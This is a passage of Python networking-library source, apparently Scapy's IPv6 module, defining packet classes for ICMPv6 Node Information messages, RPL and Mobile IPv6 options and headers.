2590 XShortField("cksum", None), 

2591 ShortEnumField("qtype", 0, icmp6_niqtypes), 

2592 BitField("unused", 0, 10), 

2593 FlagsField("flags", 0, 6, "TACLSG"), 

2594 NonceField("nonce", None), 

2595 NIQueryDataField("data", None)] 

2596 

2597 

2598class ICMPv6NIQueryName(ICMPv6NIQueryNOOP): 

2599 name = "ICMPv6 Node Information Query - IPv6 Name Query" 

2600 qtype = 2 

2601 

2602# We ask for the IPv6 address of the peer 

2603 

2604 

2605class ICMPv6NIQueryIPv6(ICMPv6NIQueryNOOP): 

2606 name = "ICMPv6 Node Information Query - IPv6 Address Query" 

2607 qtype = 3 

2608 flags = 0x3E 

2609 

2610 

2611class ICMPv6NIQueryIPv4(ICMPv6NIQueryNOOP): 

2612 name = "ICMPv6 Node Information Query - IPv4 Address Query" 

2613 qtype = 4 

2614 

2615 

2616_nireply_code = {0: "Successful Reply", 

2617 1: "Response Refusal", 

2618 3: "Unknown query type"} 

2619 

2620_nireply_flags = {1: "Reply set incomplete", 

2621 2: "All unicast addresses", 

2622 4: "IPv4 addresses", 

2623 8: "Link-local addresses", 

2624 16: "Site-local addresses", 

2625 32: "Global addresses"} 

2626 

2627# Internal repr is one of those : 

2628# (0, "some string") : unknown qtype value are mapped to that one 

2629# (3, [ (ttl, ip6), ... ]) 

2630# (4, [ (ttl, ip4), ... ]) 

2631# (2, [ttl, dns_names]) : dns_names is one string that contains 

2632# all the DNS names. Internally it is kept ready to be sent 

2633# (undissected). i2repr() decode it for user. This is to 

2634# make build after dissection bijective. 

2635# 

2636# I also merged getfield() and m2i(), and addfield() and i2m(). 

2637 

2638 

2639class NIReplyDataField(StrField): 

2640 

2641 def i2h(self, pkt, x): 

2642 if x is None: 

2643 return x 

2644 t, val = x 

2645 if t == 2: 

2646 ttl, dnsnames = val 

2647 val = [ttl] + dnsrepr2names(dnsnames) 

2648 return val 

2649 

2650 def h2i(self, pkt, x): 

2651 qtype = 0 # We will decode it as string if not 

2652 # overridden through 'qtype' in pkt 

2653 

2654 # No user hint, let's use 'qtype' value for that purpose 

2655 if not isinstance(x, tuple): 

2656 if pkt is not None: 

2657 qtype = pkt.qtype 

2658 else: 

2659 qtype = x[0] 

2660 x = x[1] 

2661 

2662 # From that point on, x is the value (second element of the tuple) 

2663 

2664 if qtype == 2: # DNS name 

2665 if isinstance(x, (str, bytes)): # listify the string 

2666 x = [x] 

2667 if isinstance(x, list): 

2668 x = [val.encode() if isinstance(val, str) else val for val in x] # noqa: E501 

2669 if x and isinstance(x[0], int): 

2670 ttl = x[0] 

2671 names = x[1:] 

2672 else: 

2673 ttl = 0 

2674 names = x 

2675 return (2, [ttl, names2dnsrepr(names)]) 

2676 

2677 elif qtype in [3, 4]: # IPv4 or IPv6 addr 

2678 if not isinstance(x, list): 

2679 x = [x] # User directly provided an IP, instead of list 

2680 

2681 def fixvalue(x): 

2682 # List elements are not tuples, user probably 

2683 # omitted ttl value : we will use 0 instead 

2684 if not isinstance(x, tuple): 

2685 x = (0, x) 

2686 # Decode bytes 

2687 if isinstance(x[1], bytes): 

2688 x = (x[0], x[1].decode()) 

2689 return x 

2690 

2691 return (qtype, [fixvalue(d) for d in x]) 

2692 

2693 return (qtype, x) 

2694 

2695 def addfield(self, pkt, s, val): 

2696 t, tmp = val 

2697 if tmp is None: 

2698 tmp = b"" 

2699 if t == 2: 

2700 ttl, dnsstr = tmp 

2701 return s + struct.pack("!I", ttl) + dnsstr 

2702 elif t == 3: 

2703 return s + b"".join(map(lambda x_y1: struct.pack("!I", x_y1[0]) + inet_pton(socket.AF_INET6, x_y1[1]), tmp)) # noqa: E501 

2704 elif t == 4: 

2705 return s + b"".join(map(lambda x_y2: struct.pack("!I", x_y2[0]) + inet_pton(socket.AF_INET, x_y2[1]), tmp)) # noqa: E501 

2706 else: 

2707 return s + tmp 

2708 

2709 def getfield(self, pkt, s): 

2710 code = getattr(pkt, "code") 

2711 if code != 0: 

2712 return s, (0, b"") 

2713 

2714 qtype = getattr(pkt, "qtype") 

2715 if qtype == 0: # NOOP 

2716 return s, (0, b"") 

2717 

2718 elif qtype == 2: 

2719 if len(s) < 4: 

2720 return s, (0, b"") 

2721 ttl = struct.unpack("!I", s[:4])[0] 

2722 return b"", (2, [ttl, s[4:]]) 

2723 

2724 elif qtype == 3: # IPv6 addresses with TTLs 

2725 # XXX TODO : get the real length 

2726 res = [] 

2727 while len(s) >= 20: # 4 + 16 

2728 ttl = struct.unpack("!I", s[:4])[0] 

2729 ip = inet_ntop(socket.AF_INET6, s[4:20]) 

2730 res.append((ttl, ip)) 

2731 s = s[20:] 

2732 return s, (3, res) 

2733 

2734 elif qtype == 4: # IPv4 addresses with TTLs 

2735 # XXX TODO : get the real length 

2736 res = [] 

2737 while len(s) >= 8: # 4 + 4 

2738 ttl = struct.unpack("!I", s[:4])[0] 

2739 ip = inet_ntop(socket.AF_INET, s[4:8]) 

2740 res.append((ttl, ip)) 

2741 s = s[8:] 

2742 return s, (4, res) 

2743 else: 

2744 # XXX TODO : implement me and deal with real length 

2745 return b"", (0, s) 

2746 

2747 def i2repr(self, pkt, x): 

2748 if x is None: 

2749 return "[]" 

2750 

2751 if isinstance(x, tuple) and len(x) == 2: 

2752 t, val = x 

2753 if t == 2: # DNS names 

2754 ttl, tmp_len = val 

2755 tmp_len = dnsrepr2names(tmp_len) 

2756 names_list = (plain_str(name) for name in tmp_len) 

2757 return "ttl:%d %s" % (ttl, ",".join(names_list)) 

2758 elif t == 3 or t == 4: 

2759 return "[ %s ]" % (", ".join(map(lambda x_y: "(%d, %s)" % (x_y[0], x_y[1]), val))) # noqa: E501 

2760 return repr(val) 

2761 return repr(x) # XXX should not happen 

2762 

2763# By default, sent responses have code set to 0 (successful) 

2764 

2765 

2766class ICMPv6NIReplyNOOP(_ICMPv6NIAnswers, _ICMPv6NIHashret, _ICMPv6): 

2767 name = "ICMPv6 Node Information Reply - NOOP Reply" 

2768 fields_desc = [ByteEnumField("type", 140, icmp6types), 

2769 ByteEnumField("code", 0, _nireply_code), 

2770 XShortField("cksum", None), 

2771 ShortEnumField("qtype", 0, icmp6_niqtypes), 

2772 BitField("unused", 0, 10), 

2773 FlagsField("flags", 0, 6, "TACLSG"), 

2774 NonceField("nonce", None), 

2775 NIReplyDataField("data", None)] 

2776 

2777 

2778class ICMPv6NIReplyName(ICMPv6NIReplyNOOP): 

2779 name = "ICMPv6 Node Information Reply - Node Names" 

2780 qtype = 2 

2781 

2782 

2783class ICMPv6NIReplyIPv6(ICMPv6NIReplyNOOP): 

2784 name = "ICMPv6 Node Information Reply - IPv6 addresses" 

2785 qtype = 3 

2786 

2787 

2788class ICMPv6NIReplyIPv4(ICMPv6NIReplyNOOP): 

2789 name = "ICMPv6 Node Information Reply - IPv4 addresses" 

2790 qtype = 4 

2791 

2792 

2793class ICMPv6NIReplyRefuse(ICMPv6NIReplyNOOP): 

2794 name = "ICMPv6 Node Information Reply - Responder refuses to supply answer" 

2795 code = 1 

2796 

2797 

2798class ICMPv6NIReplyUnknown(ICMPv6NIReplyNOOP): 

2799 name = "ICMPv6 Node Information Reply - Qtype unknown to the responder" 

2800 code = 2 

2801 

2802 

2803def _niquery_guesser(p): 

2804 cls = conf.raw_layer 

2805 type = p[0] 

2806 if type == 139: # Node Info Query specific stuff 

2807 if len(p) > 6: 

2808 qtype, = struct.unpack("!H", p[4:6]) 

2809 cls = {0: ICMPv6NIQueryNOOP, 

2810 2: ICMPv6NIQueryName, 

2811 3: ICMPv6NIQueryIPv6, 

2812 4: ICMPv6NIQueryIPv4}.get(qtype, conf.raw_layer) 

2813 elif type == 140: # Node Info Reply specific stuff 

2814 code = p[1] 

2815 if code == 0: 

2816 if len(p) > 6: 

2817 qtype, = struct.unpack("!H", p[4:6]) 

2818 cls = {2: ICMPv6NIReplyName, 

2819 3: ICMPv6NIReplyIPv6, 

2820 4: ICMPv6NIReplyIPv4}.get(qtype, ICMPv6NIReplyNOOP) 

2821 elif code == 1: 

2822 cls = ICMPv6NIReplyRefuse 

2823 elif code == 2: 

2824 cls = ICMPv6NIReplyUnknown 

2825 return cls 

2826 

2827 

2828############################################################################# 

2829############################################################################# 

2830# Routing Protocol for Low Power and Lossy Networks RPL (RFC 6550) # 

2831############################################################################# 

2832############################################################################# 

2833 

2834# https://www.iana.org/assignments/rpl/rpl.xhtml#control-codes 

2835rplcodes = {0: "DIS", 

2836 1: "DIO", 

2837 2: "DAO", 

2838 3: "DAO-ACK", 

2839 # 4: "P2P-DRO", 

2840 # 5: "P2P-DRO-ACK", 

2841 # 6: "Measurement", 

2842 7: "DCO", 

2843 8: "DCO-ACK"} 

2844 

2845 

2846class ICMPv6RPL(_ICMPv6): # RFC 6550 

2847 name = 'RPL' 

2848 fields_desc = [ByteEnumField("type", 155, icmp6types), 

2849 ByteEnumField("code", 0, rplcodes), 

2850 XShortField("cksum", None)] 

2851 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1a"}} 

2852 

2853 

2854############################################################################# 

2855############################################################################# 

2856# Mobile IPv6 (RFC 3775) and Nemo (RFC 3963) # 

2857############################################################################# 

2858############################################################################# 

2859 

2860# Mobile IPv6 ICMPv6 related classes 

2861 

2862class ICMPv6HAADRequest(_ICMPv6): 

2863 name = 'ICMPv6 Home Agent Address Discovery Request' 

2864 fields_desc = [ByteEnumField("type", 144, icmp6types), 

2865 ByteField("code", 0), 

2866 XShortField("cksum", None), 

2867 XShortField("id", None), 

2868 BitEnumField("R", 1, 1, {1: 'MR'}), 

2869 XBitField("res", 0, 15)] 

2870 

2871 def hashret(self): 

2872 return struct.pack("!H", self.id) + self.payload.hashret() 

2873 

2874 

2875class ICMPv6HAADReply(_ICMPv6): 

2876 name = 'ICMPv6 Home Agent Address Discovery Reply' 

2877 fields_desc = [ByteEnumField("type", 145, icmp6types), 

2878 ByteField("code", 0), 

2879 XShortField("cksum", None), 

2880 XShortField("id", None), 

2881 BitEnumField("R", 1, 1, {1: 'MR'}), 

2882 XBitField("res", 0, 15), 

2883 IP6ListField('addresses', None)] 

2884 

2885 def hashret(self): 

2886 return struct.pack("!H", self.id) + self.payload.hashret() 

2887 

2888 def answers(self, other): 

2889 if not isinstance(other, ICMPv6HAADRequest): 

2890 return 0 

2891 return self.id == other.id 

2892 

2893 

2894class ICMPv6MPSol(_ICMPv6): 

2895 name = 'ICMPv6 Mobile Prefix Solicitation' 

2896 fields_desc = [ByteEnumField("type", 146, icmp6types), 

2897 ByteField("code", 0), 

2898 XShortField("cksum", None), 

2899 XShortField("id", None), 

2900 XShortField("res", 0)] 

2901 

2902 def _hashret(self): 

2903 return struct.pack("!H", self.id) 

2904 

2905 

2906class ICMPv6MPAdv(_ICMPv6NDGuessPayload, _ICMPv6): 

2907 name = 'ICMPv6 Mobile Prefix Advertisement' 

2908 fields_desc = [ByteEnumField("type", 147, icmp6types), 

2909 ByteField("code", 0), 

2910 XShortField("cksum", None), 

2911 XShortField("id", None), 

2912 BitEnumField("flags", 2, 2, {2: 'M', 1: 'O'}), 

2913 XBitField("res", 0, 14)] 

2914 

2915 def hashret(self): 

2916 return struct.pack("!H", self.id) 

2917 

2918 def answers(self, other): 

2919 return isinstance(other, ICMPv6MPSol) 

2920 

2921# Mobile IPv6 Options classes 

2922 

2923 

2924_mobopttypes = {2: "Binding Refresh Advice", 

2925 3: "Alternate Care-of Address", 

2926 4: "Nonce Indices", 

2927 5: "Binding Authorization Data", 

2928 6: "Mobile Network Prefix (RFC3963)", 

2929 7: "Link-Layer Address (RFC4068)", 

2930 8: "Mobile Node Identifier (RFC4283)", 

2931 9: "Mobility Message Authentication (RFC4285)", 

2932 10: "Replay Protection (RFC4285)", 

2933 11: "CGA Parameters Request (RFC4866)", 

2934 12: "CGA Parameters (RFC4866)", 

2935 13: "Signature (RFC4866)", 

2936 14: "Home Keygen Token (RFC4866)", 

2937 15: "Care-of Test Init (RFC4866)", 

2938 16: "Care-of Test (RFC4866)"} 

2939 

2940 

2941class _MIP6OptAlign(Packet): 

2942 """ Mobile IPv6 options have alignment requirements of the form x*n+y. 

2943 This class is inherited by all MIPv6 options to help in computing the 

2944 required Padding for that option, i.e. the need for a Pad1 or PadN 

2945 option before it. They only need to provide x and y as class 

2946 parameters. (x=0 and y=0 are used when no alignment is required)""" 

2947 

2948 __slots__ = ["x", "y"] 

2949 

2950 def alignment_delta(self, curpos): 

2951 x = self.x 

2952 y = self.y 

2953 if x == 0 and y == 0: 

2954 return 0 

2955 delta = x * ((curpos - y + x - 1) // x) + y - curpos 

2956 return delta 

2957 

2958 def extract_padding(self, p): 

2959 return b"", p 

2960 

2961 

2962class MIP6OptBRAdvice(_MIP6OptAlign): 

2963 name = 'Mobile IPv6 Option - Binding Refresh Advice' 

2964 fields_desc = [ByteEnumField('otype', 2, _mobopttypes), 

2965 ByteField('olen', 2), 

2966 ShortField('rinter', 0)] 

2967 x = 2 

2968 y = 0 # alignment requirement: 2n 

2969 

2970 

2971class MIP6OptAltCoA(_MIP6OptAlign): 

2972 name = 'MIPv6 Option - Alternate Care-of Address' 

2973 fields_desc = [ByteEnumField('otype', 3, _mobopttypes), 

2974 ByteField('olen', 16), 

2975 IP6Field("acoa", "::")] 

2976 x = 8 

2977 y = 6 # alignment requirement: 8n+6 

2978 

2979 

2980class MIP6OptNonceIndices(_MIP6OptAlign): 

2981 name = 'MIPv6 Option - Nonce Indices' 

2982 fields_desc = [ByteEnumField('otype', 4, _mobopttypes), 

2983 ByteField('olen', 16), 

2984 ShortField('hni', 0), 

2985 ShortField('coni', 0)] 

2986 x = 2 

2987 y = 0 # alignment requirement: 2n 

2988 

2989 

2990class MIP6OptBindingAuthData(_MIP6OptAlign): 

2991 name = 'MIPv6 Option - Binding Authorization Data' 

2992 fields_desc = [ByteEnumField('otype', 5, _mobopttypes), 

2993 ByteField('olen', 16), 

2994 BitField('authenticator', 0, 96)] 

2995 x = 8 

2996 y = 2 # alignment requirement: 8n+2 

2997 

2998 

2999class MIP6OptMobNetPrefix(_MIP6OptAlign): # NEMO - RFC 3963 

3000 name = 'NEMO Option - Mobile Network Prefix' 

3001 fields_desc = [ByteEnumField("otype", 6, _mobopttypes), 

3002 ByteField("olen", 18), 

3003 ByteField("reserved", 0), 

3004 ByteField("plen", 64), 

3005 IP6Field("prefix", "::")] 

3006 x = 8 

3007 y = 4 # alignment requirement: 8n+4 

3008 

3009 

3010class MIP6OptLLAddr(_MIP6OptAlign): # Sect 6.4.4 of RFC 4068 

3011 name = "MIPv6 Option - Link-Layer Address (MH-LLA)" 

3012 fields_desc = [ByteEnumField("otype", 7, _mobopttypes), 

3013 ByteField("olen", 7), 

3014 ByteEnumField("ocode", 2, _rfc4068_lla_optcode), 

3015 ByteField("pad", 0), 

3016 MACField("lla", ETHER_ANY)] # Only support ethernet 

3017 x = 0 

3018 y = 0 # alignment requirement: none 

3019 

3020 

3021class MIP6OptMNID(_MIP6OptAlign): # RFC 4283 

3022 name = "MIPv6 Option - Mobile Node Identifier" 

3023 fields_desc = [ByteEnumField("otype", 8, _mobopttypes), 

3024 FieldLenField("olen", None, length_of="id", fmt="B", 

3025 adjust=lambda pkt, x: x + 1), 

3026 ByteEnumField("subtype", 1, {1: "NAI"}), 

3027 StrLenField("id", "", 

3028 length_from=lambda pkt: pkt.olen - 1)] 

3029 x = 0 

3030 y = 0 # alignment requirement: none 

3031 

3032# We only support decoding and basic build. Automatic HMAC computation is 

3033# too much work for our current needs. It is left to the user (I mean ... 

3034# you). --arno 

3035 

3036 

3037class MIP6OptMsgAuth(_MIP6OptAlign): # RFC 4285 (Sect. 5) 

3038 name = "MIPv6 Option - Mobility Message Authentication" 

3039 fields_desc = [ByteEnumField("otype", 9, _mobopttypes), 

3040 FieldLenField("olen", None, length_of="authdata", fmt="B", 

3041 adjust=lambda pkt, x: x + 5), 

3042 ByteEnumField("subtype", 1, {1: "MN-HA authentication mobility option", # noqa: E501 

3043 2: "MN-AAA authentication mobility option"}), # noqa: E501 

3044 IntField("mspi", None), 

3045 StrLenField("authdata", "A" * 12, 

3046 length_from=lambda pkt: pkt.olen - 5)] 

3047 x = 4 

3048 y = 1 # alignment requirement: 4n+1 

3049 

3050# Extracted from RFC 1305 (NTP) : 

3051# NTP timestamps are represented as a 64-bit unsigned fixed-point number, 

3052# in seconds relative to 0h on 1 January 1900. The integer part is in the 

3053# first 32 bits and the fraction part in the last 32 bits. 

3054 

3055 

3056class NTPTimestampField(LongField): 

3057 def i2repr(self, pkt, x): 

3058 if x < ((50 * 31536000) << 32): 

3059 return "Some date a few decades ago (%d)" % x 

3060 

3061 # delta from epoch (= (1900, 1, 1, 0, 0, 0, 5, 1, 0)) to 

3062 # January 1st 1970 : 

3063 delta = -2209075761 

3064 i = int(x >> 32) 

3065 j = float(x & 0xffffffff) * 2.0**-32 

3066 res = i + j + delta 

3067 t = strftime("%a, %d %b %Y %H:%M:%S +0000", gmtime(res)) 

3068 

3069 return "%s (%d)" % (t, x) 

3070 

3071 

3072class MIP6OptReplayProtection(_MIP6OptAlign): # RFC 4285 (Sect. 6) 

3073 name = "MIPv6 option - Replay Protection" 

3074 fields_desc = [ByteEnumField("otype", 10, _mobopttypes), 

3075 ByteField("olen", 8), 

3076 NTPTimestampField("timestamp", 0)] 

3077 x = 8 

3078 y = 2 # alignment requirement: 8n+2 

3079 

3080 

3081class MIP6OptCGAParamsReq(_MIP6OptAlign): # RFC 4866 (Sect. 5.6) 

3082 name = "MIPv6 option - CGA Parameters Request" 

3083 fields_desc = [ByteEnumField("otype", 11, _mobopttypes), 

3084 ByteField("olen", 0)] 

3085 x = 0 

3086 y = 0 # alignment requirement: none 

3087 

3088# XXX TODO: deal with CGA param fragmentation and build of defragmented 

3089# XXX version. Passing of a big CGAParam structure should be 

3090# XXX simplified. Make it hold packets, by the way --arno 

3091 

3092 

3093class MIP6OptCGAParams(_MIP6OptAlign): # RFC 4866 (Sect. 5.1) 

3094 name = "MIPv6 option - CGA Parameters" 

3095 fields_desc = [ByteEnumField("otype", 12, _mobopttypes), 

3096 FieldLenField("olen", None, length_of="cgaparams", fmt="B"), 

3097 StrLenField("cgaparams", "", 

3098 length_from=lambda pkt: pkt.olen)] 

3099 x = 0 

3100 y = 0 # alignment requirement: none 

3101 

3102 

3103class MIP6OptSignature(_MIP6OptAlign): # RFC 4866 (Sect. 5.2) 

3104 name = "MIPv6 option - Signature" 

3105 fields_desc = [ByteEnumField("otype", 13, _mobopttypes), 

3106 FieldLenField("olen", None, length_of="sig", fmt="B"), 

3107 StrLenField("sig", "", 

3108 length_from=lambda pkt: pkt.olen)] 

3109 x = 0 

3110 y = 0 # alignment requirement: none 

3111 

3112 

3113class MIP6OptHomeKeygenToken(_MIP6OptAlign): # RFC 4866 (Sect. 5.3) 

3114 name = "MIPv6 option - Home Keygen Token" 

3115 fields_desc = [ByteEnumField("otype", 14, _mobopttypes), 

3116 FieldLenField("olen", None, length_of="hkt", fmt="B"), 

3117 StrLenField("hkt", "", 

3118 length_from=lambda pkt: pkt.olen)] 

3119 x = 0 

3120 y = 0 # alignment requirement: none 

3121 

3122 

3123class MIP6OptCareOfTestInit(_MIP6OptAlign): # RFC 4866 (Sect. 5.4) 

3124 name = "MIPv6 option - Care-of Test Init" 

3125 fields_desc = [ByteEnumField("otype", 15, _mobopttypes), 

3126 ByteField("olen", 0)] 

3127 x = 0 

3128 y = 0 # alignment requirement: none 

3129 

3130 

3131class MIP6OptCareOfTest(_MIP6OptAlign): # RFC 4866 (Sect. 5.5) 

3132 name = "MIPv6 option - Care-of Test" 

3133 fields_desc = [ByteEnumField("otype", 16, _mobopttypes), 

3134 FieldLenField("olen", None, length_of="cokt", fmt="B"), 

3135 StrLenField("cokt", b'\x00' * 8, 

3136 length_from=lambda pkt: pkt.olen)] 

3137 x = 0 

3138 y = 0 # alignment requirement: none 

3139 

3140 

3141class MIP6OptUnknown(_MIP6OptAlign): 

3142 name = 'Scapy6 - Unknown Mobility Option' 

3143 fields_desc = [ByteEnumField("otype", 6, _mobopttypes), 

3144 FieldLenField("olen", None, length_of="odata", fmt="B"), 

3145 StrLenField("odata", "", 

3146 length_from=lambda pkt: pkt.olen)] 

3147 x = 0 

3148 y = 0 # alignment requirement: none 

3149 

3150 @classmethod 

3151 def dispatch_hook(cls, _pkt=None, *_, **kargs): 

3152 if _pkt: 

3153 o = _pkt[0] # Option type 

3154 if o in moboptcls: 

3155 return moboptcls[o] 

3156 return cls 

3157 

3158 

3159moboptcls = {0: Pad1, 

3160 1: PadN, 

3161 2: MIP6OptBRAdvice, 

3162 3: MIP6OptAltCoA, 

3163 4: MIP6OptNonceIndices, 

3164 5: MIP6OptBindingAuthData, 

3165 6: MIP6OptMobNetPrefix, 

3166 7: MIP6OptLLAddr, 

3167 8: MIP6OptMNID, 

3168 9: MIP6OptMsgAuth, 

3169 10: MIP6OptReplayProtection, 

3170 11: MIP6OptCGAParamsReq, 

3171 12: MIP6OptCGAParams, 

3172 13: MIP6OptSignature, 

3173 14: MIP6OptHomeKeygenToken, 

3174 15: MIP6OptCareOfTestInit, 

3175 16: MIP6OptCareOfTest} 

3176 

3177 

3178# Main Mobile IPv6 Classes 

3179 

3180mhtypes = {0: 'BRR', 

3181 1: 'HoTI', 

3182 2: 'CoTI', 

3183 3: 'HoT', 

3184 4: 'CoT', 

3185 5: 'BU', 

3186 6: 'BA', 

3187 7: 'BE', 

3188 8: 'Fast BU', 

3189 9: 'Fast BA', 

3190 10: 'Fast NA'} 

3191 

3192# From http://www.iana.org/assignments/mobility-parameters 

3193bastatus = {0: 'Binding Update accepted', 

3194 1: 'Accepted but prefix discovery necessary', 

3195 128: 'Reason unspecified', 

3196 129: 'Administratively prohibited', 

3197 130: 'Insufficient resources', 

3198 131: 'Home registration not supported', 

3199 132: 'Not home subnet', 

3200 133: 'Not home agent for this mobile node', 

3201 134: 'Duplicate Address Detection failed', 

3202 135: 'Sequence number out of window', 

3203 136: 'Expired home nonce index', 

3204 137: 'Expired care-of nonce index', 

3205 138: 'Expired nonces', 

3206 139: 'Registration type change disallowed', 

3207 140: 'Mobile Router Operation not permitted', 

3208 141: 'Invalid Prefix', 

3209 142: 'Not Authorized for Prefix', 

3210 143: 'Forwarding Setup failed (prefixes missing)', 

3211 144: 'MIPV6-ID-MISMATCH', 

3212 145: 'MIPV6-MESG-ID-REQD', 

3213 146: 'MIPV6-AUTH-FAIL', 

3214 147: 'Permanent home keygen token unavailable', 

3215 148: 'CGA and signature verification failed', 

3216 149: 'Permanent home keygen token exists', 

3217 150: 'Non-null home nonce index expected'} 

3218 

3219 

3220class _MobilityHeader(Packet): 

3221 name = 'Dummy IPv6 Mobility Header' 

3222 overload_fields = {IPv6: {"nh": 135}} 

3223 

3224 def post_build(self, p, pay): 

3225 p += pay 

3226 tmp_len = self.len 

3227 if self.len is None: 

3228 tmp_len = (len(p) - 8) // 8 

3229 p = p[:1] + struct.pack("B", tmp_len) + p[2:] 

3230 if self.cksum is None: 

3231 cksum = in6_chksum(135, self.underlayer, p) 

3232 else: 

3233 cksum = self.cksum 

3234 p = p[:4] + struct.pack("!H", cksum) + p[6:] 

3235 return p 

3236 

3237 

3238class MIP6MH_Generic(_MobilityHeader): # Mainly for decoding of unknown msg 

3239 name = "IPv6 Mobility Header - Generic Message" 

3240 fields_desc = [ByteEnumField("nh", 59, ipv6nh), 

3241 ByteField("len", None), 

3242 ByteEnumField("mhtype", None, mhtypes), 

3243 ByteField("res", None), 

3244 XShortField("cksum", None), 

3245 StrLenField("msg", b"\x00" * 2, 

3246 length_from=lambda pkt: 8 * pkt.len - 6)] 

3247 

3248 

3249class MIP6MH_BRR(_MobilityHeader): 

3250 name = "IPv6 Mobility Header - Binding Refresh Request" 

3251 fields_desc = [ByteEnumField("nh", 59, ipv6nh), 

3252 ByteField("len", None), 

3253 ByteEnumField("mhtype", 0, mhtypes), 

3254 ByteField("res", None), 

3255 XShortField("cksum", None), 

3256 ShortField("res2", None), 

3257 _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 

3258 _OptionsField("options", [], MIP6OptUnknown, 8, 

3259 length_from=lambda pkt: 8 * pkt.len)] 

3260 overload_fields = {IPv6: {"nh": 135}} 

3261 

3262 def hashret(self): 

3263 # Hack: BRR, BU and BA have the same hashret that returns the same 

3264 # value b"\x00\x08\x09" (concatenation of mhtypes). This is 

3265 # because we need match BA with BU and BU with BRR. --arno 

3266 return b"\x00\x08\x09" 

3267 

3268 

3269class MIP6MH_HoTI(_MobilityHeader): 

3270 name = "IPv6 Mobility Header - Home Test Init" 

3271 fields_desc = [ByteEnumField("nh", 59, ipv6nh), 

3272 ByteField("len", None), 

3273 ByteEnumField("mhtype", 1, mhtypes), 

3274 ByteField("res", None), 

3275 XShortField("cksum", None), 

3276 StrFixedLenField("reserved", b"\x00" * 2, 2), 

3277 StrFixedLenField("cookie", b"\x00" * 8, 8), 

3278 _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 

3279 _OptionsField("options", [], MIP6OptUnknown, 16, 

3280 length_from=lambda pkt: 8 * (pkt.len - 1))] 

3281 overload_fields = {IPv6: {"nh": 135}} 

3282 

3283 def hashret(self): 

3284 return bytes_encode(self.cookie) 

3285 

3286 

3287class MIP6MH_CoTI(MIP6MH_HoTI): 

3288 name = "IPv6 Mobility Header - Care-of Test Init" 

3289 mhtype = 2 

3290 

3291 def hashret(self): 

3292 return bytes_encode(self.cookie) 

3293 

3294 

3295class MIP6MH_HoT(_MobilityHeader): 

3296 name = "IPv6 Mobility Header - Home Test" 

3297 fields_desc = [ByteEnumField("nh", 59, ipv6nh), 

3298 ByteField("len", None), 

3299 ByteEnumField("mhtype", 3, mhtypes), 

3300 ByteField("res", None), 

3301 XShortField("cksum", None), 

3302 ShortField("index", None), 

3303 StrFixedLenField("cookie", b"\x00" * 8, 8), 

3304 StrFixedLenField("token", b"\x00" * 8, 8), 

3305 _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 

3306 _OptionsField("options", [], MIP6OptUnknown, 24, 

3307 length_from=lambda pkt: 8 * (pkt.len - 2))] 

3308 overload_fields = {IPv6: {"nh": 135}} 

3309 

3310 def hashret(self): 

3311 return bytes_encode(self.cookie) 

3312 

3313 def answers(self, other): 

3314 if (isinstance(other, MIP6MH_HoTI) and 

3315 self.cookie == other.cookie): 

3316 return 1 

3317 return 0 

3318 

3319 

3320class MIP6MH_CoT(MIP6MH_HoT): 

3321 name = "IPv6 Mobility Header - Care-of Test" 

3322 mhtype = 4 

3323 

3324 def hashret(self): 

3325 return bytes_encode(self.cookie) 

3326 

3327 def answers(self, other): 

3328 if (isinstance(other, MIP6MH_CoTI) and 

3329 self.cookie == other.cookie): 

3330 return 1 

3331 return 0 

3332 

3333 

3334class LifetimeField(ShortField): 

3335 def i2repr(self, pkt, x): 

3336 return "%d sec" % (4 * x) 

3337 

3338 

3339class MIP6MH_BU(_MobilityHeader): 

3340 name = "IPv6 Mobility Header - Binding Update" 

3341 fields_desc = [ByteEnumField("nh", 59, ipv6nh), 

3342 ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) # noqa: E501 

3343 ByteEnumField("mhtype", 5, mhtypes), 

3344 ByteField("res", None), 

3345 XShortField("cksum", None), 

3346 XShortField("seq", None), # TODO: ShortNonceField 

3347 FlagsField("flags", "KHA", 7, "PRMKLHA"), 

3348 XBitField("reserved", 0, 9), 

3349 LifetimeField("mhtime", 3), # unit == 4 seconds 

3350 _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 

3351 _OptionsField("options", [], MIP6OptUnknown, 12, 

3352 length_from=lambda pkt: 8 * pkt.len - 4)] 

3353 overload_fields = {IPv6: {"nh": 135}} 

3354 

3355 def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret() 

3356 return b"\x00\x08\x09" 

3357 

3358 def answers(self, other): 

3359 if isinstance(other, MIP6MH_BRR): 

3360 return 1 

3361 return 0 

3362 

3363 

3364class MIP6MH_BA(_MobilityHeader): 

3365 name = "IPv6 Mobility Header - Binding ACK" 

3366 fields_desc = [ByteEnumField("nh", 59, ipv6nh), 

3367 ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) # noqa: E501 

3368 ByteEnumField("mhtype", 6, mhtypes), 

3369 ByteField("res", None), 

3370 XShortField("cksum", None), 

3371 ByteEnumField("status", 0, bastatus), 

3372 FlagsField("flags", "K", 3, "PRK"), 

3373 XBitField("res2", None, 5), 

3374 XShortField("seq", None), # TODO: ShortNonceField 

3375 XShortField("mhtime", 0), # unit == 4 seconds 

3376 _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 

3377 _OptionsField("options", [], MIP6OptUnknown, 12, 

3378 length_from=lambda pkt: 8 * pkt.len - 4)] 

3379 overload_fields = {IPv6: {"nh": 135}} 

3380 

3381 def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret() 

3382 return b"\x00\x08\x09" 

3383 

3384 def answers(self, other): 

3385 if (isinstance(other, MIP6MH_BU) and 

3386 other.mhtype == 5 and 

3387 self.mhtype == 6 and 

3388 other.flags & 0x1 and # Ack request flags is set 

3389 self.seq == other.seq): 

3390 return 1 

3391 return 0 

3392 

3393 

3394_bestatus = {1: 'Unknown binding for Home Address destination option', 

3395 2: 'Unrecognized MH Type value'} 

3396 

3397# TODO: match Binding Error to its stimulus 

3398 

3399 

3400class MIP6MH_BE(_MobilityHeader): 

3401 name = "IPv6 Mobility Header - Binding Error" 

3402 fields_desc = [ByteEnumField("nh", 59, ipv6nh), 

3403 ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) # noqa: E501 

3404 ByteEnumField("mhtype", 7, mhtypes), 

3405 ByteField("res", 0), 
